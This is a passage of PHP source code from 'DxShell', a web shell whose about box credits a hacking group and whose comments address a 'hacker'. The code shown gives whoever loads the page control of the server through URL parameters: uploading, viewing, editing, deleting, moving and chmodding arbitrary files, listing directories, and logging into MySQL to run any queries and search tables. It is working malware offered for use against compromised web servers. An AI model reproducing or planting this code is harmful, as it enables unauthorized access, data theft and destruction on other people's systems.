947 print "\n".'$f=fopen(\''.$DxDOWNLOAD_File['filename'].'\', \'w\');';
948 print "\n".'fputs($f, '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzuncompress(base64_decode($encoded_file))':'base64_decode($encoded_file)' ).');';
949 print "\n".'fclose($f);';
950 print "\n".'//Yahoo, hacker, the file is here =)';
951 print "\n".'?>';
952 print "\n".'</textarea>';
953 die();
954 }
955
956?>
957
958<table align=center>
959 <tr><td class=mode_header>
960 @MODE: <b><?=$GLOB['DxMODES'][$_GET['dxmode']];?>
961 </td></tr></table>
962<?
963
964########
965######## AboutBox
966########
967if ($_GET['dxmode']=='WTF')
968 {
969 ?>
970<table align=center class=nooooneblya><tr><td><div align=center>
971<?php
972print '<a href="http://hellknights.void.ru/">'.DxImg('exec').'</a>';
973print '<br>o_O Tync, ICQ# 244-648';
974?><br><br>
975<textarea name="LolBox" class=bout style="width:500pt; height:500pt;"></textarea></table>
976<SCRIPT language=Javascript><!--
977var tl=new Array(
978"Kilobytes of c0de, litres of beer, kilometers of cigarettes (*no drugs*), and for what purpose?",
979"What's wrong with other shells?",
980"Usability, functionality, bugs?... NO.",
981"The main bug is: these shells ARE NOT mine =)",
982"Just like to be responsible for every motherfucking byte of code.",
983"Enjoy!",
984"-----------------------------------",
985"o_O Tync, http://hellknights.void.ru/, ICQ#244648",
986"DxShell v<?=$GLOB['SHELL']['Ver'].', date '.$GLOB['SHELL']['Date'];?>",
987"",
988"Greetz to: ",
989"iNfantry the Ruler",
990"Nik8 the Hekker",
991"_1nf3ct0r_ the Father",
992"Industry of Death the betatest0r =)",
993"",
994"Thanks to:",
995"Dunhill the cigarettes, Tuborg the beer, PHP the language, Nescafe the Coffee, Psychedelic the Music",
996"",
997"Wartime testers & debuggers ::: =))) :::",
998"MINDGROW",
999"",
1000"",
1001"Hekk da pl0net!",
1002"--- EOF ---"
1003);
1004var speed=40;var index=0; text_pos=0;var str_length=tl[0].length;var contents, row;
1005function type_text()
1006{contents='';row=Math.max(0,index-50);
1007while(row<index) contents += tl[row++] + '\r\n';
1008document.getElementById("LolBox").value = contents + tl[index].substring(0,text_pos)+'|';
1009if(text_pos++==str_length)
1010 {text_pos=0;index++;
1011 if(index!=tl.length)
1012 {str_length=tl[index].length;setTimeout("type_text()",1000);
1013 }
1014 } else setTimeout("type_text()",speed);
1015}type_text();
1016//-->
1017</SCRIPT>
1018 <?php
1019 }
1020
1021
1022 ###################################
1023
1024########
1025######## Upload file
1026########
1027if ($_GET['dxmode']=='UPL')
1028 {
1029 if (empty($_POST['dxdir']) AND empty($_GET['dxdir'])) die(DxError('Uploading without selecting directory $_POST/$_GET[\'dxdir\'] is restricted'));
1030
1031 if (isset($_FILES['dx_uplfile']['tmp_name']))
1032 {
1033 $GETFILE=file_get_contents($_FILES['dx_uplfile']['tmp_name']);
1034 DxFiles_UploadHere($_POST['DxFTP_FileTO'], $_FILES['dx_uplfile']['name'], $GETFILE);
1035 }
1036 else
1037 {
1038 print "\n".'<form action="'.DxURL('leave','dxmode,dxsimple').'" enctype="multipart/form-data" method=POST>';
1039 print "\n".'<input type="hidden" name="MAX_FILE_SIZE" value="'.$GLOB['PHP']['upload_max_filesize'].'">';
1040 print "\n".'<font class="highlight_txt">Max: '.DxStr_FmtFileSize($GLOB['PHP']['upload_max_filesize']).'</font>';
1041 print "\n".'<br><input type=text name="dxdir" value="'.$_GET['dxdir'].'" SIZE=50>';
1042 print "\n".'<br><input type=file name="dx_uplfile" SIZE=50>';
1043 print "\n".'<input type=submit value="Upload" class="submit"></form>';
1044 }
1045 }
1046
1047 ###################################
1048
1049########
1050######## Directory listings
1051########
1052if ($_GET['dxmode']=='DIR')
1053 {
1054 if (empty($_GET['dxdir'])) $_GET['dxdir']=realpath($GLOB['FILES']['CurDIR']);
1055 $_GET['dxdir']=DxFileOkaySlashes($_GET['dxdir']);
1056 if (substr($_GET['dxdir'], -1,1)!='/') $_GET['dxdir'].='/';
1057
1058 print "\n".'<br><form action="'.DxURL('kill', '').'" method=GET style="display:inline;">';
1059 DxGETinForm('leave', 'dxmode');
1060 print "\n".'<input type=text name="dxdir" value="'.DxFileOkaySlashes(realpath($_GET['dxdir'])).'" SIZE=40>';
1061 print "\n".'<input type=submit value="Goto" class="submit"></form>';
1062
1063 print "\n".'<br>'.'<b>>> <b>'.$_GET['dxdir'].'</b>';
1064 if (!file_exists($_GET['dxdir'])) die(DxError('No such directory'));
1065 if (!is_dir($_GET['dxdir'])) die(DxError('It\'s a file!! What do you think about listing files in a file? =)) '));
1066
1067 if (isset($_GET['dxparam']))
1068 { if ($_GET['dxparam']=='mkDIR') if ( !mkdir($_GET['dxdir'].'__DxS_NEWDIR__'.DxRandomChars(3)) ) DxError('Unable to mkDir. Perms?');
1069 if ($_GET['dxparam']=='mkFILE') if ( !touch($_GET['dxdir'].'__DxS_NEWDIR__'.DxRandomChars(3)) ) DxError('Unable to mkFile. Perms?');
1070 }
1071
1072 if (!($dir_ptr=opendir($_GET['dxdir']))) die(DxError('Unable to open dir for reading. Perms?...'));
1073 $FILES=array('DIRS' => array(), 'FILES' => array());
1074 while (!is_bool( $file = readdir($dir_ptr) ) )
1075 if (($file!='.') and ($file!='..')) if (is_dir($_GET['dxdir'].$file)) $FILES['DIRS'][]=$file; else $FILES['FILES'][]=$file;
1076 asort($FILES['DIRS']);asort($FILES['FILES']);
1077
1078 print "\n".'<span style="position:absolute;right:0pt;">';
1079 if (isset($_GET['dxdirsimple'])) print '<a href="'.DxURL('kill', 'dxdirsimple').'">[Switch to FULL]</a>';
1080 else print '<a href="'.DxURL('leave', '').'&dxdirsimple=1">[Switch to LITE]</a>';
1081 print '</span>';
1082
1083 $folderup_link=explode('/',$_GET['dxdir'].'../');
1084 if (!empty($folderup_link[ count($folderup_link)-3 ]) AND ($folderup_link[ count($folderup_link)-3 ]!='..'))
1085 unset($folderup_link[ count($folderup_link)-3 ], $folderup_link[ count($folderup_link)-1 ]);
1086 $folderup_link=implode('/', $folderup_link);
1087 print "\n".str_repeat(' ',3).'<a href="'.DxURL('leave', 'dxdirsimple').'&dxmode=DIR&dxdir='.$folderup_link.'" class=no>'
1088 .DxImg('foldup').' ../</a>';
1089
1090 print "\n".str_repeat(' ', 15).'<font class=highlight_txt>MAKE: </font>'
1091 .'<a href="'.DxURL('leave', 'dxmode,dxdir,dxdirsimple').'&dxparam=mkDIR">Dir</a>'
1092 .' / '
1093 .'<a href="'.DxURL('leave', 'dxmode,dxdir,dxdirsimple').'&dxparam=mkFILE">File</a>'
1094 .' / '.str_repeat(' ',5)
1095 .'<font class=highlight_txt>UPLOAD: </font>'
1096 .'<a href="'.DxURL('leave', 'dxdirsimple').'&dxdir='.DxFileToUrl($_GET['dxdir']).'&dxmode=UPL">Form</a>'
1097 .' / '
1098 .'<a href="'.DxURL('leave', 'dxdirsimple').'&dxdir='.DxFileToUrl($_GET['dxdir']).'&dxmode=UPL">FTP</a>'
1099 ;
1100
1101 print "\n".'<br>'.count($FILES['DIRS']).' dirs, '.count($FILES['FILES']).' files ';
1102 print "\n".'<table border=0 cellspacing=0 cellpadding=0 ><COL span=15 class="linelisting">';
1103 for ($NOWi=0;$NOWi<=1;$NOWi++)
1104 for ($NOW=($NOWi==0)?'DIRS':'FILES', $i=0;$i<count($FILES[$NOW]);$i++)
1105 { $cur=&$FILES[$NOW][$i];
1106 $dircur=$_GET['dxdir'].$cur;
1107 print "\n".'<tr>';
1108 print "\n\t".'<td class=linelisting '.((isset($_GET['dxdirsimple']) AND ($NOW=='DIRS'))?'colspan=2':'').'>'
1109 .(($NOW=='DIRS')?DxImg('folder').' '
1110 . '<a href="'.DxURL('leave', 'dxdirsimple').'&dxmode=DIR&dxdir='.DxFileToUrl($dircur).'" class=no>':'')
1111 .(($NOW=='FILES')?'<a href="'.DxURL('kill', '').'&dxmode=F_VIEW&dxfile='.DxFileToUrl($dircur).'" class=no>':'')
1112 .htmlspecialchars($cur).'</td>';
1113
1114 if (!isset($_GET['dxdirsimple']))
1115 {
1116 print "\n\t".'<td class=linelisting>'
1117 .'<span '.DxDesign_DrawBubbleBox('File Info', '<b>Create time:</b><br>'.DxDate(@filectime($dircur)).'<br>'
1118 .'<b>Modify time:</b><br>'. DxDate(@filemtime($dircur)).'<br>'
1119 .'<b>Owner/Group:</b><br>'.(@fileowner($dircur)).' / '.(@filegroup($dircur))
1120 , 150).' class=Hover><b>INFO</span> </td>';
1121 print "\n\t".'<td class=linelisting '.(($NOW=='DIRS')?'colspan=2':'').'>'
1122 .((($i+$NOWi)==0)?'<span '.DxDesign_DrawBubbleBox('Perms legend', '1st: sticky bit:<br>"<b>S</b>" Socket, "<b>L</b>" Symbolic Link, "<b><empty></b>" Regular, "<b>B</b>" Block special, "<b>D</b>" Directory, "<b>C</b>" Character special, "<b>P</b>" FIFO Pipe, "<b>?</b>" Unknown<br>Others: Owner/Group/World<br>"<b>r</b>" Read, "<b>w</b>" Write, "<b>x</b>" Execute<br><br><b>Click to CHMOD', 400).' class=Hover>':'')
1123 .'<a href="'.DxURL('kill', '').'&dxmode=F_CHM&dxfile='.DxFileToUrl($dircur).'" class=no>'.DxChmod_Oct2Str(@fileperms($dircur)).'</td>';
1124 }
1125
1126 if ($NOW!='DIRS') print "\n\t".'<td class=linelisting style="text-align:right;">'.DxStr_FmtFileSize(@filesize($dircur)).'</td>';
1127
1128 if (!isset($_GET['dxdirsimple']))
1129 {
1130 if ($NOW=='DIRS') print "\n\t".'<td class=linelisting colspan='.(($GLOB['SYS']['GZIP']['IMG'])?'4':'3').'> </td>';
1131 if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($dircur).'" target=_blank>'.DxImg('view').'</a></td>';
1132 if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_ED&dxfile='.DxFileToUrl($dircur).'">'.DxImg('ed').'</a></td>';
1133 if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($dircur).'">'.DxImg('downl').'</a></td>';
1134 if (($NOW!='DIRS') AND ($GLOB['SYS']['GZIP']['IMG'])) print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dx_gzip=Yeah&dxfile='.DxFileToUrl($dircur).'">'.DxImg('gzip').'</a></td>';
1135 print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_REN&dxfile='.DxFileToUrl($dircur).'">'.DxImg('rename').'</a></td>';
1136 print "\n\t".'<td class=linelisting '.(($NOW=='DIRS')?'colspan=3':'').'><a href="'.DxURL('kill', '').'&dxmode=F_DEL&dxfile='.DxFileToUrl($dircur).'">'.DxImg('del').'</a></td>';
1137 if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_COP&dxfile='.DxFileToUrl($dircur).'">'.DxImg('copy').'</a></td>';
1138 if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_MOV&dxfile='.DxFileToUrl($dircur).'">'.DxImg('move').'</a></td>';
1139 }
1140 print "\n\t".'</tr>';
1141 }
1142 print "\n".'</table>';
1143 }
1144
1145
1146########
1147######## File Global Actions
1148########
1149if ('F_'==substr($_GET['dxmode'],0,2))
1150 { if (empty($_GET['dxfile']))
1151 { print "\n".'<form action="'.DxURL('kill', '').'" method=GET>';
1152 DxGETinForm('leave', '');
1153 print "\n".'<input type=text name="dxfile" value="" style="width:70%;">';
1154 print "\n".'<br><input type=submit value="Select" class="submit">';
1155 print "\n".'</form>';
1156 }
1157 if (!file_exists(@$_GET['dxfile'])) die(DxError('No such file'));
1158 print "\n\n".'<a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])).'">[Go DIR]</a>';
1159 }
1160
1161########
1162######## File CHMOD
1163########
1164if ($_GET['dxmode']=='F_CHM')
1165 {
1166 if (isset($_GET['dxparam']))
1167 { if (chmod($_GET['dxfile'], octdec((int)$_GET['dxparam']))==FALSE)
1168 print DxError('Chmod "'.$_GET['dxfile'].'" failed');
1169 else print 'CHMOD( <font class=highlight_txt>'.$_GET['dxfile'].'</b></font> )...<b>OK</b>';
1170 }
1171 else
1172 { print "\n".'<form action="'.DxURL('kill', '').'" method=GET>';
1173 DxGETinForm('leave', 'dxmode,dxfile');
1174 print "\n".'CHMOD( <font class=highlight_txt>'.$_GET['dxfile'].'</font> )';
1175 print "\n".'<br><input type=text name="dxparam" value="'.
1176 //decoct(fileperms($_GET['dxfile']))
1177 substr(sprintf('%o', fileperms($_GET['dxfile'])), -4)
1178 .'">';
1179 print "\n".'<input type=submit value="chmod" class="submit"></form>';
1180 }
1181 }
1182
1183########
1184######## File View
1185########
1186if ($_GET['dxmode']=='F_VIEW')
1187 {
1188 if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) '));
1189 if (!is_readable($_GET['dxfile'])) die(DxError('File is not readable. Perms?...'));
1190
1191 print "\n".'<table border=0 cellspacing=0 cellpadding=0 align=right><tr>';
1192 print "\n".'<td><h3>'.$_GET['dxfile'].'</h3></td>';
1193 print "\n".'<td>'
1194 .'<a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($_GET['dxfile']).'" target=_blank>'.DxImg('view').'</a>'
1195 .'<a href="'.DxURL('kill', '').'&dxmode=F_ED&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('ed').'</a>'
1196 .'<a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('downl').'</a>'
1197 .'<a href="'.DxURL('kill', '').'&dxmode=F_DEL&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('del').'</a>'
1198 .'</td>';
1199 print "\n".'</tr></table><br>';
1200 print "\n".'Tip: to view the file "as is" - open the page in <a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($_GET['dxfile']).'">source</a> (<i>works best in Opera</i>), or <a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($_GET['dxfile']).'">download</a> this file';
1201
1202 print "\n\n\n".'<br><hr><!-- File contents goes from here -->'."\n";
1203 print "\n".'<plaintext>';
1204 print file_get_contents($_GET['dxfile']);
1205 die(); /* Plaintext is infinite */
1206 }
1207
1208########
1209######## File Edit
1210########
1211if ($_GET['dxmode']=='F_ED')
1212 {
1213 if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) '));
1214 if (isset($_POST['dxparam']))
1215 { if (!is_writable($_GET['dxfile'])) die(DxError('File is not writable. Perms?...'));
1216 if (($f=fopen($_GET['dxfile'], 'w'))===FALSE) die(DxError('File open for WRITE failed'));
1217 if (fputs($f, $_POST['dxparam'])===FALSE) die(DxError('I/O: File write failed'));
1218 fclose($f);
1219 print 'File saved OK;';
1220 }
1221 else
1222 {
1223 if (!is_readable($_GET['dxfile'])) die(DxError('File is not readable. Perms?...'));
1224 if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); print "\n".'<font class=highlight_txt>'.$_GET['dxfile'].'</font>';
1225 print "\n".'<form action="'.DxURL('leave', '').'" method=POST>';
1226 print "\n".'<textarea name="dxparam" rows=30 style="width:90%;">'.str_replace(array('<','>'),array('<','>'), file_get_contents($_GET['dxfile'])).'</textarea>';
1227 print "\n".'<br><input type=submit value="Save" style="width:100pt;height:50pt;font-size:15pt;" class=submit>';
1228 print "\n".'</form>';
1229 }
1230 }
1231
1232########
1233######## File Delete
1234########
1235if ($_GET['dxmode']=='F_DEL')
1236 { if (isset($_GET['dx_ok']))
1237 { if ($_GET['dx_ok']=='Yes')
1238 { if ( (is_file($_GET['dxfile']) AND !unlink($_GET['dxfile'])) OR (is_dir($_GET['dxfile']) AND !rmdir($_GET['dxfile'])) )
1239 print DxError('Unable to delete file. Perms?...<br>');
1240 else
1241 { print "\n".'Delete( <font class=highlight_txt>'.$_GET['dxfile'].'</font> ) <b>OK</b>';
1242 DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])));
1243 }
1244 }
1245 }
1246 else
1247 {
1248 if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); print "\n".'<form action="'.DxURL('kill', '').'" method=GET>';
1249 DxGETinForm('leave', 'dxmode,dxfile');
1250 print "\n".'<table border=0 cellspacing=0 cellpadding=0 align=center><tr><td>'
1251 ."\n".'<font class=achtung>(!)</font> Do you really want to <font class=highlight_txt>DELETE '.$_GET['dxfile'].'</font> ?'
1252 ."\n".'<div align=right><input type=submit name="dx_ok" value="No" class=bt_No><input type=submit name="dx_ok" value="Yes" class=bt_Yes>'
1253 ."\n".'</td></tr></table>';
1254 print "\n".'</form>';
1255 }
1256 }
1257
1258########
1259######## File Rename
1260########
1261if ($_GET['dxmode']=='F_REN')
1262 {
1263 if (isset($_POST['dxparam']))
1264 {
1265 if (!rename($_GET['dxfile'], dirname($_GET['dxfile']).'/'.$_POST['dxparam']))
1266 print DxError('Unable to rename. Perms?...<br>');
1267 else
1268 {
1269 print "\n".'Rename( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.dirname($_GET['dxfile']).'/'.$_POST['dxparam'].'</font> ) <b>OK</b>';
1270 DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])));
1271 }
1272 }
1273 else
1274 {
1275 print "\n".'<form action="'.DxURL('leave', 'dxmode,dxfile').'" method=POST>';
1276 print "\n".'<input type=text name="dxparam" value="'.basename($_GET['dxfile']).'" style="width:80%">';
1277 print "\n".'<input type=submit value="Rename" class="submit"></form>';
1278 }
1279 }
1280
1281########
1282######## File Copy
1283########
1284if ($_GET['dxmode']=='F_COP')
1285 {
1286 if (!is_file($_GET['dxfile'])) die(DxError('Don\'t even think about copuing directories! =))'));
1287
1288 $newname=$_GET['dxfile'].'__DxS_COPY_'.DxRandomChars(3);
1289 if (($extpos=strrpos($_GET['dxfile'], '.'))>strrpos($_GET['dxfile'], '/')) /* file has an extension */
1290 $newname=substr($_GET['dxfile'], 0, $extpos).'__DxS_COPY_'.DxRandomChars(3).substr($_GET['dxfile'], $extpos);
1291 print $newname;
1292 if (!copy($_GET['dxfile'], $newname))
1293 print DxError('Unable to copy. Perms?...<br>');
1294 else
1295 {
1296 print "\n".'Copy( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.$newname.'</font> ) <b>OK</b>';
1297 DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])));
1298 }
1299 }
1300
1301########
1302######## File Move
1303########
1304if ($_GET['dxmode']=='F_MOV')
1305 {
1306 if (isset($_POST['dxparam']))
1307 {
1308 if (!rename($_GET['dxfile'], $_POST['dxparam']))
1309 print DxError('Unable to rename. Perms? Or no path?...<br>');
1310 else
1311 {
1312 print "\n".'Move( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.$_POST['dxparam'].'</font> ) <b>OK</b>';
1313 DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_POST['dxparam'])));
1314 }
1315 }
1316 else
1317 {
1318 if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!');
1319 print "\n".'<form action="'.DxURL('leave', 'dxmode,dxfile').'" method=POST>';
1320 print "\n".'<input type=text name="dxparam" value="'.DxFileOkaySlashes(realpath($_GET['dxfile'])).'" style="width:80%">';
1321 print "\n".'<input type=submit value="M0ve" class="submit"></form>';
1322 }
1323 }
1324
1325if (substr($_GET['dxmode'],0,2)=='F_')
1326 {/* file actions */
1327 print "\n\n".'<br><br>'.'<a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])).'">[Go DIR]</a>';
1328 }
1329
1330 ###################################
1331
1332########
1333######## SQL Maintenance
1334########
1335if ($_GET['dxmode']=='SQL')
1336 { if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p']))
1337 { print "\n".'<h2>MySQL connection</h2>';
1338 print "\n".'<form action="'.DxURL('kill', '').'" method=GET align=center>';
1339 DxGETinForm('leave', 'dxmode');
1340 print "\n".'<br>Serv: <input type=text name="dxsql_s" value="localhost" style="width:200pt">';
1341 print "\n".'<br>Login:<input type=text name="dxsql_l" value="" style="width:200pt">';
1342 print "\n".'<br>Passw:<input type=password name="dxsql_p" value="" style="width:200pt">';
1343 print "\n".'<br><input type=submit value="C0nnect" class="submit" style="width:200pt;"></form>';
1344 die();
1345 }
1346 if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0))
1347 die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
1348 else print '>> MySQL connected!';
1349
1350 $mysqlver=mysql_fetch_row(mysql_query("SELECT VERSION()"));
1351 print str_repeat(' ',15).'MySQL version: <font class="highlight_txt">'.$mysqlver[0].'</font>';
1352
1353 DxMySQL_FetchResult(DxMySQLQ('SHOW DATABASES;', true), $DATABASES, true);
1354 for ($i=0;$i<count($DATABASES);$i++)
1355 $DATABASES[$i][1]=mysql_num_rows(DxMySQLQ('SHOW TABLES FROM `'.$DATABASES[$i][0].'`;', false));
1356
1357 print "\n".'<table border=0 cellspacing=0 cellpadding=0>'
1358 .'<tr><td class=h2_oneline><h1>DB:</h1></td>';
1359 if (!isset($_GET['dxsql_d']))
1360 {
1361 print "\n".'<td class=h2_oneline style="border-width:0pt;">';
1362 print "\n".'<form action="'.DxURL('kill', '').'" method=GET>';
1363 DxGETinForm('leave', 'dxmode,dxsql_s,dxsql_l,dxsql_p');
1364 print "\n".'<SELECT name="dxsql_d" onchange="this.form.submit()">';
1365 print "\n\t".'<OPTION value=""><Server></OPTION>';
1366 for ($i=0;$i<count($DATABASES);$i++)
1367 print "\n\t".'<OPTION value="'.$DATABASES[$i][0].'">'
1368 .'['.DxZeroedNumber($DATABASES[$i][1],3).']'.' '.$DATABASES[$i][0]
1369 .'</OPTION>';
1370 print "\n".'</SELECT><input type=submit value="->" class=submit"></form></td>';
1371 print "\n".'</tr></table>';
1372 die();
1373 }
1374 else print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'<Server>':$_GET['dxsql_d']).'</font></td>'
1375 .'<td class=linelisting><a href="'.DxURL('kill', 'dxsql_d').'" class=no>[CH]</a></td>'
1376 .'<td class=linelisting><a href="'.DxURL('kill', 'dxmode').'&dxmode=SQLS" class=no>[Search in tables...]</a></td>'
1377 .'<td class=linelisting><a href="'.DxURL('kill', 'dxmode').'&dxmode=SQLD" class=no>[Dump...]</a></td>'
1378 .'</tr></table>';
1379
1380 if (!empty($_GET['dxsql_d']))
1381 if (!mysql_select_db($_GET['dxsql_d']))
1382 die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
1383
1384 print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>';
1385 print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">';
1386 if (!empty($_GET['dxsql_d']))
1387 {
1388 print "\n\t".'<table border=0 cellspacing=0 cellpadding=0>';
1389 print "\n\t".'<caption>Tables:</caption>';
1390 DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true);
1391 for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0];
1392 asort($TABLES);
1393 for ($i=0;$i<count($TABLES);$i++)
1394 {
1395 DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); print "\n\t".'<tr><td class="listing"><nobr>'.(($TRowCnt[0][0]>0)?'> ':' ').$TABLES[$i].'</td></tr>';
1396 }
1397 print "\n\t".'</table>';
1398 }
1399 print "\n".'</td><td width=100%>';
1400 print "\n".'<form action="'.DxURL('leave', '').'" method=POST>';
1401 print "\n".'[?] Can run several querys if divided by ";"<br>If smth is wrong with charset, write first: SET NAMES cp1251;';
1402 print "\n".'<textarea name="dxsql_q" rows=10 style="width:100%;">'.((empty($_POST['dxsql_q']))?'':$_POST['dxsql_q']).'</textarea>';
1403 print "\n".'<div align=right>'
1404 .'<input type=submit value="Query" class="submit"> '
1405 .'<input type=submit name="dxparam" value="Download Query" class="submit"></div></form>'
1406 .'<br>';
1407
1408 if (empty($_POST['dxsql_q'])) die('</td></tr></table>');
1409 $_POST['dxsql_q']=explode(';', $_POST['dxsql_q']);
1410
1411 foreach ($_POST['dxsql_q'] as $CUR_Q)
1412 { if (empty($CUR_Q)) continue;
1413 $CUR_Q.=';';
1414
1415 $num=DxMySQL_FetchResult(DxMySQLQ($CUR_Q, true), $FETCHED, false);
1416 if ($num<=0) continue;
1417
1418 print "\n\n\n".'<table border=0 cellspacing=0 cellpadding=0><caption>'.$CUR_Q.'</caption>';
1419
1420 $INDEXES=array_keys($FETCHED[0]);
1421 print "\n\t".'<tr><td class="listing" colspan='.(count($INDEXES)+1).'>>> Fetched: '.$num. str_repeat(' ', 10). 'Affected: '.mysql_affected_rows().'</td></tr>';
1422 print "\n\t".'<tr><td class="listing"><div align=center class="highlight_txt">###</td>';
1423 foreach ($INDEXES as $key) print '<td class="listing"><div align=center class="highlight_txt">'.$key.'</td>';
1424 print '</tr>';
1425
1426 for ($l=0;$l<count($FETCHED);$l++)
1427 {
1428 print "\n\t".'<tr><td class="listing" width=40><div align=right class="highlight_txt">'.$l.'</td>';
1429 for ($i=0; $i<count($INDEXES); $i++)
1430 print '<td class="listing"> '.DxDecorVar($FETCHED[$l][ $INDEXES[$i] ], true).'</td>';
1431 }
1432
1433 print "\n".'</table><br>';
1434 }
1435 print "\n".'</td></tr></table>';
1436 }
1437
1438########
1439######## SQL Search
1440########
1441if ($_GET['dxmode']=='SQLS')
1442 {
1443 if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'], $_GET['dxsql_d'])) die(DxError('SQL server/login/password/database are not set'));
1444
1445 if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0))
1446 die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
1447 else print '>> MySQL connected!';
1448
1449 if (!mysql_select_db($_GET['dxsql_d']))
1450 die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
1451
1452 print "\n".'<table border=0 cellspacing=0 cellpadding=0><tr><td class=h2_oneline><h2>DB:</h2></td>';
1453 print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'<Server>':$_GET['dxsql_d']).'</font></td></tr></table>';
1454
1455 print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>';
1456 print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">';
1457
1458 DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true);
1459 for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0];
1460 asort($TABLES);
1461
1462 if (isset($_POST['dxsqlsearch']['txt']))
1463 if (get_magic_quotes_gpc()==1) $_POST['dxsqlsearch']['txt']=stripslashes($_POST['dxsqlsearch']['txt']);
1464
1465 print "\n\t".'<SELECT MULTIPLE name="dxsqlsearch[tables][]" SIZE=30>';
1466 for ($i=0;$i<count($TABLES);$i++)
1467 {
1468 DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true);
1469 if ($TRowCnt[0][0]>0)
1470 print "\n\t".'<OPTION value="'.$TABLES[$i].'" '
1471 .( (isset($_POST['dxsqlsearch']['tables']))? ((in_array($TABLES[$i], $_POST['dxsqlsearch']['tables']))?'SELECTED':'') :'SELECTED' ).'>'
1472 .$TABLES[$i].'</OPTION>';
1473 }
1474 print "\n\t".'</SELECT>';
1475 print "\n".'</td><td width=100%>';
1476 print "\n".'<input type=text name="dxsqlsearch[txt]" style="width:100%;" value="'.((empty($_POST['dxsqlsearch']['txt']))?'':str_replace('"', '"', $_POST['dxsqlsearch']['txt'])).'">';
1477 print "\n".'<br>';
1478 foreach (array('Any', 'Each', 'Exact', 'RegExp') as $cur_rad)
1479 print '<input type=radio name="dxsqlsearch[mode]" value="'.strtolower($cur_rad).'" '
1480 .( (isset($_POST['dxsqlsearch']['mode']))? (($_POST['dxsqlsearch']['mode']==strtolower($cur_rad))?'CHECKED':'') :(($cur_rad=='Any')?'CHECKED':'') )
1481 .' class=radio>'.$cur_rad.' ';
1482 print "\n".'<div align=right><input type=submit value="Search..." class=submit style="width:100pt;"></div>';
1483 print "\n".'</form>';
1484
1485 if (!isset($_POST['dxsqlsearch'])) die('</td></tr></table>');
1486
1487 if (empty($_POST['dxsqlsearch']['tables'])) die(DxError('No tables selected'));
1488
1489 if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'each'))) $_POST['dxsqlsearch']['txt']=explode(' ', mysql_real_escape_string($_POST['dxsqlsearch']['txt']));
